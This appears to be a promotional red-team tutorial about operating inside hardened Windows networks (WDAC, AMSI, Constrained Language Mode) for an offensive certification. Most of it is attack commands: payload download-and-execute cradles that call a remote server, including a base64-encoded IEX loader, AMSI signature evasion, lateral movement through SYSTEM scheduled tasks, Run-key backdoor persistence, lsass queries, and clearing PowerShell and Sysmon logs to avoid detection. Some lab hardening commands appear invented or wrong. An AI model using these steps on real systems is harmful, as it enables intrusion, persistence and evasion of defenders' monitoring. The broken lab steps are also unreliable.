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Introduction:
Modern enterprise environments are no longer riddled with easy misconfigurations or trivial privilege escalation paths. The ODPC (Offensive Defense and Penetration Control) exam simulates a true hardened network where every control—EDR, WDAC, AMSI, Constrained Language Mode, CIS benchmarks, and locked firewalls—is fully enforced. To succeed, you must operate within these restrictions, not disable them, forcing a mindset shift from “find the flaw” to “creatively leverage allowed behaviors.”
Learning Objectives:
- Understand the layered security controls in enterprise-hardened Windows environments (WDAC, AMSI, Constrained Language Mode, PowerShell restrictions).
- Execute operational techniques that work under strict application control and without disabling any protections.
- Apply living-off-the-land (LotL) binaries and constrained coding methods to achieve lateral movement and objective completion.
You Should Know:
- Navigating Windows Defender Application Control (WDAC) & Constrained Language Mode
WDAC restricts which binaries and scripts can run based on code integrity policies. Constrained Language Mode (CLM) limits PowerShell to a subset of core language elements, blocking many reflection and COM instantiation tricks. Instead of trying to disable them, you work within the allowed command set.
Step‑by‑step guide to identify and test the current constraints:
– Check if CLM is active:
`$ExecutionContext.SessionState.LanguageMode`
(Returns “ConstrainedLanguage” if active)
- Enumerate allowed PowerShell cmdlets:
`Get-Command -CommandType Cmdlet | Select-Object Name`
- Test WDAC policy by attempting to run an unsigned binary:
`.\MyTool.exe`
(If blocked, you’ll receive an “admin policy” error)
- Use built-in Windows utilities that are typically allowed:
whoami,netstat,ipconfig,systeminfo, `tasklist`
– For file transfers under WDAC, rely on `certutil -urlcache -f http://server/file.exe file.exe` or `bitsadmin /transfer /download /priority high http://server/file.exe %TEMP%\file.exe`
- AMSI (Antimalware Scan Interface) – Living With It, Not Bypassing It
AMSI scans PowerShell, VBScript, and JavaScript content before execution. Classic bypasses (like patching amsi.dll) violate enterprise policy and trigger EDR. Instead, use obfuscation and splitting that stays within script block logging but evades static signatures.
Step‑by‑step guide for AMSI‑aware execution:
- Split malicious strings at runtime using `-join` or `+` concatenation:
`$cmd = (‘Invoke-‘+’Mimikatz’)`
`Invoke-Expression $cmd` (Note: only works if function exists in allowed modules)
– Use secure strings or base64 encoding for arguments:
`$enc = [System.Convert]::FromBase64String(‘SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbABvAGMAYQBsAGgAbwBzAHQALwBzAGMAcgBpAHAAdAAuAHAAcwAxACcAKQA=’)`
`$script = [System.Text.Encoding]::Unicode.GetString($enc)`
`Invoke-Expression $script`
- Prefer native tools over PowerShell for sensitive operations (e.g.,
reg.exe,sc.exe,wmic.exe) – they bypass AMSI entirely.
- Firewall and EDR Restrictions – Lateral Movement Without Disabling
The ODPC environment has tightly locked firewall rules allowing only essential ports (e.g., RDP 3389, SMB 445, WinRM 5985/5986). EDR monitors process creation and network connections. Movement must use these ports with built-in tools.
Step‑by‑step guide for RDP‑based lateral movement:
- From an RDP session, enumerate accessible hosts:
`net view` or `nltest /dclist:domain`
- Use `cmdkey` to cache credentials without writing to LSASS:
`cmdkey /add:TARGET-PC /user:DOMAIN\user /pass:password`
- Launch remote PowerShell via WinRM using cached ticket:
`Enter-PSSession -ComputerName TARGET-PC` (if WinRM allowed)
- For SMB, copy files with `copy \\TARGET-PC\C$\Windows\Temp\file.exe .` and execute via scheduled task:
`schtasks /create /tn “Updater” /tr “C:\Windows\Temp\file.exe” /sc once /st 00:00 /ru SYSTEM /s TARGET-PC`
- PowerShell Restrictions – Executing Under Constrained Language Mode
When CLM is active, you cannot use Add-Type, New-Object -ComObject, or reflection. However, you can still use .NET classes that do not require dynamic code generation, like [System.IO.File], [System.Net.WebClient], and [System.Diagnostics.Process].
Step‑by‑step guide for CLM‑compliant scripting:
- Read a file:
`[System.IO.File]::ReadAllText(“C:\path\file.txt”)`
- Write output:
`[System.IO.File]::WriteAllText(“C:\temp\out.txt”, “data”)`
- Download a file using WebClient (still allowed in most CLM policies):
`$wc = New-Object System.Net.WebClient; $wc.DownloadFile(“http://server/payload.exe”, “C:\temp\payload.exe”)`
– Execute the downloaded binary:
`Start-Process “C:\temp\payload.exe” -WindowStyle Hidden`
- If `Start-Process` is blocked, fall back to .NET Process class:
`[System.Diagnostics.Process]::Start(“C:\temp\payload.exe”)`
- Simulating an ODPC‑Style Lab with Vagrant and Ansible
To practice operating under enterprise hardening, build a local environment mirroring WDAC, CLM, and AMSI. Use Vagrant to spin up Windows Server 2019/2022 and Ansible for configuration.
Step‑by‑step guide:
- Install Vagrant and VirtualBox, then create a
Vagrantfile:Vagrant.configure("2") do |config| config.vm.box = "StefanScherer/windows_2019" config.vm.provision "shell", path: "harden.ps1" end - Create `harden.ps1` to apply CIS benchmarks (using LGPO or Security Compliance Toolkit), enable WDAC in audit mode, and set PowerShell Language Mode:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\PowerShell" -Name "LanguageMode" -Value "ConstrainedLanguage" -Type String Install-Module -Name "PSWDAC" -Force New-WDACPolicy -Name "StrictPolicy" -Level Publisher -RuleOption AuditMode
- Test AMSI by running a known suspicious string:
`”amsiutils”` (should trigger scan but not block if only audit mode) - Use this lab to practice all the commands listed above without fear of breaking production.
- Living Off the Land – Native Windows Tools That Ignore Most Controls
When PowerShell is too restricted, fall back to legacy binaries that aren’t subject to AMSI or CLM. These tools are often allowed because they are signed by Microsoft and required for system administration.
Step‑by‑step guide to LotL arsenal:
- Registry manipulation for persistence or configuration changes:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d “C:\Windows\Temp\backdoor.exe”`
– Scheduled tasks for execution:
`schtasks /create /tn “SysCheck” /tr “C:\Windows\System32\cmd.exe /c calc.exe” /sc minute /mo 5 /ru SYSTEM`
– WMI for process creation and information gathering:
`wmic process call create “notepad.exe”`
`wmic /node:TARGET-PC process where “name=’lsass.exe'” get commandline`
- Netsh for port forwarding (if allowed by firewall):
`netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=3389 connectaddress=TARGET-PC`
– Certutil for encoding/decoding files:
`certutil -encode payload.exe payload.b64`
`certutil -decode payload.b64 payload.exe`
7. Operational Security Under Real‑Time EDR Monitoring
EDR logs process lineage, command lines, and network connections. To avoid detection while working within policy, you must mimic legitimate administrative behavior and introduce noise.
Step‑by‑step guide for OPSEC in hardened environments:
- Delay execution between actions: `Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 30)`
– Use jitter in automated scripts: `$jitter = Get-Random -Minimum 200 -Maximum 800; Start-Sleep -Milliseconds $jitter`
– Run tools from trusted system paths like `C:\Windows\Temp` or `C:\ProgramData` to blend in. - Execute commands under the context of legitimate parent processes (e.g., `explorer.exe` or `svchost.exe` via process hollowing – but only if that technique is not blocked by WDAC). Instead, prefer `wmic.exe` or `schtasks.exe` which are typical parent processes for admin tasks.
- Clear only specific event logs rather than all: `wevtutil cl Microsoft-Windows-PowerShell/Operational` and `wevtutil cl Microsoft-Windows-Sysmon/Operational` (if Sysmon is present).
What Undercode Say:
- Key Takeaway 1: Enterprise hardening has evolved past “misconfigurations.” Modern red teaming requires fluency in constrained execution, not just exploitation.
- Key Takeaway 2: Native Windows tools (certutil, wmic, schtasks) are often the safest path because they bypass AMSI and CLM while appearing legitimate to EDRs.
The ODPC exam reflects a real trend: defenders now enforce every control properly. Attackers cannot disable AV or turn off logging. Instead, they must abuse what remains allowed – signed binaries, restricted PowerShell, and scheduled tasks. This forces a return to fundamental operating system knowledge. Linux counterparts include `systemd-run` restrictions, AppArmor, and seccomp. The future of offensive certifications will measure creativity within constraints, not volume of CVEs. White Knight Labs’ ODPC course (spring sale at https://lnkd.in/exnGawUi) and the student breakdown (https://lnkd.in/g36DT8mf) offer practical immersion into this reality.
Prediction:
Within two years, most advanced red team certifications will incorporate “no-disable” policies as standard. Tools like Cobalt Strike will integrate built-in constraint detection, and blue teams will adopt WDAC + CLM + AMSI as baseline. Offensive operators who master living‑off‑the‑land under these conditions will command premium value, while those relying on memory patching or service stop commands will become obsolete. Expect Microsoft to further harden PowerShell and introduce AI‑driven AMSI v2 that detects obfuscation patterns in real time.
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